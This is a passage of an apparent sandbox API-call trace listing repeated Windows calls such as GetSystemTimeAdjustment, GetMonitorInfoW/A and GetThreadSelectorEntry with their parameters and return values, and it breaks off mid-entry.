[0026.890] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.890] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.890] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.890] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.890] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.891] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.891] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.891] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.891] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.891] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.891] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.891] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.891] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.891] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.891] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.891] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.891] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.891] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.891] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.891] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.891] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.891] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.891] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.891] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.891] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.891] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.891] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.891] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.891] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.891] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.891] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.891] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.891] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.891] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.891] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.891] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.891] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.891] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.891] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.891] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.892] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.892] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.892] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.892] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.892] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.892] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.892] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.892] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.892] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.892] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.892] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0028.157] lstrlenA (lpString="") returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.157] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.158] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.159] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, 